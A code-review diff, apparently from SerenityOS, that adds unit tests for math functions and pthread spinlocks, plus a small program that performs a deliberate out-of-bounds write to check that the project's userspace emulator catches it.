EXPECT(!signbit(lgamma(-0.0)));
|
||||
EXPECT(isnan(lgamma(NAN)));
|
||||
EXPECT(isinf(lgamma(INFINITY)));
|
||||
EXPECT(isinf(lgamma(-INFINITY)));
|
||||
EXPECT_EQ(signgam, 1);
|
||||
lgamma(-2.5);
|
||||
EXPECT_EQ(signgam, -1);
|
||||
}
|
||||
|
||||
TEST_CASE(fmax_and_fmin)
|
||||
{
|
||||
EXPECT(fmax(-INFINITY, 0) == 0);
|
||||
EXPECT(fmax(NAN, 12) == 12);
|
||||
EXPECT(fmax(5, NAN) == 5);
|
||||
EXPECT(isnan(fmax(NAN, NAN)));
|
||||
EXPECT(isinf(fmax(1'000'000, INFINITY)));
|
||||
|
||||
EXPECT(isinf(fmin(-INFINITY, 0)));
|
||||
EXPECT(fmin(0, INFINITY) == 0);
|
||||
EXPECT(fmin(NAN, 5) == 5);
|
||||
EXPECT(fmin(0, NAN) == 0);
|
||||
EXPECT(isnan(fmin(NAN, NAN)));
|
||||
}
|
4
Tests/LibPthread/CMakeLists.txt
Normal file
4
Tests/LibPthread/CMakeLists.txt
Normal file
|
@ -0,0 +1,4 @@
|
|||
file(GLOB TEST_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
foreach(source ${TEST_SOURCES})
|
||||
serenity_test(${source} LibPthread LIBS LibPthread)
|
||||
endforeach()
|
130
Tests/LibPthread/TestLibPthreadSpinLocks.cpp
Normal file
130
Tests/LibPthread/TestLibPthreadSpinLocks.cpp
Normal file
|
@ -0,0 +1,130 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibPthread/pthread.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(spin_init_process_scope)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_init(&lock, PTHREAD_SCOPE_PROCESS);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_spin_destroy(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t garbage_lock { 0x1337 };
|
||||
auto result = pthread_spin_init(&garbage_lock, PTHREAD_SCOPE_PROCESS);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_spin_destroy(&garbage_lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(spin_init_system_scope)
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_init(&lock, PTHREAD_SCOPE_SYSTEM);
|
||||
EXPECT_EQ(0, result);
|
||||
pthread_spinlock_t garbage_lock { 0x99999 };
|
||||
result = pthread_spin_init(&garbage_lock, PTHREAD_SCOPE_PROCESS);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(spin_lock)
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
// We should detect that this thread already holds this lock.
|
||||
result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(EDEADLK, result);
|
||||
}
|
||||
|
||||
TEST_CASE(spin_try_lock)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_trylock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_trylock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
// We should detect that this thread already holds the lock.
|
||||
result = pthread_spin_trylock(&lock);
|
||||
EXPECT_EQ(EBUSY, result);
|
||||
}
|
||||
}
|
||||
|
||||
static void lock_from_different_thread(pthread_spinlock_t* lock)
|
||||
{
|
||||
pthread_t thread_id {};
|
||||
auto result = pthread_create(
|
||||
&thread_id, nullptr, [](void* param) -> void* {
|
||||
auto lock = (pthread_spinlock_t*)param;
|
||||
pthread_spin_lock(lock);
|
||||
return nullptr;
|
||||
},
|
||||
lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_join(thread_id, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(spin_unlock)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
lock_from_different_thread(&lock);
|
||||
|
||||
auto result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(EPERM, result);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(spin_destroy)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_spin_destroy(&lock);
|
||||
EXPECT_EQ(EBUSY, result);
|
||||
|
||||
result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
lock_from_different_thread(&lock);
|
||||
|
||||
auto result = pthread_spin_destroy(&lock);
|
||||
EXPECT_EQ(EBUSY, result);
|
||||
}
|
||||
}
|
9
Tests/UserspaceEmulator/CMakeLists.txt
Normal file
9
Tests/UserspaceEmulator/CMakeLists.txt
Normal file
|
@ -0,0 +1,9 @@
|
|||
file(GLOB CMD_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
|
||||
# FIXME: These tests do not use LibTest
|
||||
foreach(CMD_SRC ${CMD_SOURCES})
|
||||
get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE)
|
||||
add_executable(${CMD_NAME} ${CMD_SRC})
|
||||
target_link_libraries(${CMD_NAME} LibCore)
|
||||
install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/UserEmulator)
|
||||
endforeach()
|
80
Tests/UserspaceEmulator/write-oob.cpp
Normal file
80
Tests/UserspaceEmulator/write-oob.cpp
Normal file
|
@ -0,0 +1,80 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <mman.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static void write8(void* ptr) { *(volatile uint8_t*)ptr = 1; }
|
||||
static void write16(void* ptr) { *(volatile uint16_t*)ptr = 1; }
|
||||
static void write32(void* ptr) { *(volatile uint32_t*)ptr = 1; }
|
||||
static void write64(void* ptr) { *(volatile double*)ptr = 1.0; }
|
||||
// A u64 write might be translated by the compiler as a 32-then-32-bit write:
|
||||
// static void write64_bad(void* ptr) { *(volatile uint64_t*)ptr = 1.0; }
|
||||
// Let's hope this won't be translated like that.
|
||||
// Godbolt says yes: https://godbolt.org/z/1b9WGo
|
||||
|
||||
static void run_test(void* region, ssize_t offset, size_t bits)
|
||||
{
|
||||
void* ptr = (char*)region + offset;
|
||||
printf("Writing to %p\n", ptr);
|
||||
switch (bits) {
|
||||
case 8:
|
||||
write8(ptr);
|
||||
break;
|
||||
case 16:
|
||||
write16(ptr);
|
||||
break;
|
||||
case 32:
|
||||
write32(ptr);
|
||||
break;
|
||||
case 64:
|
||||
write64(ptr);
|
||||
break;
|
||||
default:
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
bool do_static = false;
|
||||
int size = 10 * PAGE_SIZE;
|
||||
int offset = 10 * PAGE_SIZE - 1;
|
||||
int bits = 16;
|
||||
|
||||
auto args_parser = Core::ArgsParser();
|
||||
args_parser.set_general_help(
|
||||
"Access out of bounds memory; a great testcase for UserEmulator.");
|
||||
args_parser.add_option(do_static, "Use a static region instead of an mmap'ed region. Fixes 'size' to 10*PAGESIZE = 40960. (Default: false)", "static", 'S');
|
||||
args_parser.add_option(size, "The size of the region to allocate. (Default: 10*PAGESIZE = 40960)", "size", 's', "size");
|
||||
args_parser.add_option(offset, "The signed offset at which to start writing. (Default: 10*PAGESIZE-1 = 40959)", "offset", 'o', "offset");
|
||||
args_parser.add_option(bits, "Amount of bits to write in a single instruction. (Default: 16)", "bits", 'b', "bits");
|
||||
args_parser.parse(argc, argv);
|
||||
|
||||
if (do_static)
|
||||
size = 10 * PAGE_SIZE;
|
||||
|
||||
printf("Writing %d bits to %s region of size %d at offset %d.\n",
|
||||
bits, do_static ? "static" : "MMAP", size, offset);
|
||||
|
||||
if (do_static) {
|
||||
// Let's just hope the linker puts nothing after it!
|
||||
static unsigned char region[PAGE_SIZE * 10] = { 0 };
|
||||
|
||||
run_test(region, offset, 64);
|
||||
} else {
|
||||
void* region = mmap(nullptr, size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
VERIFY(region);
|
||||
run_test(region, offset, bits);
|
||||
}
|
||||
|
||||
printf("FAIL (should have caused SIGSEGV)\n");
|
||||
return 1;
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue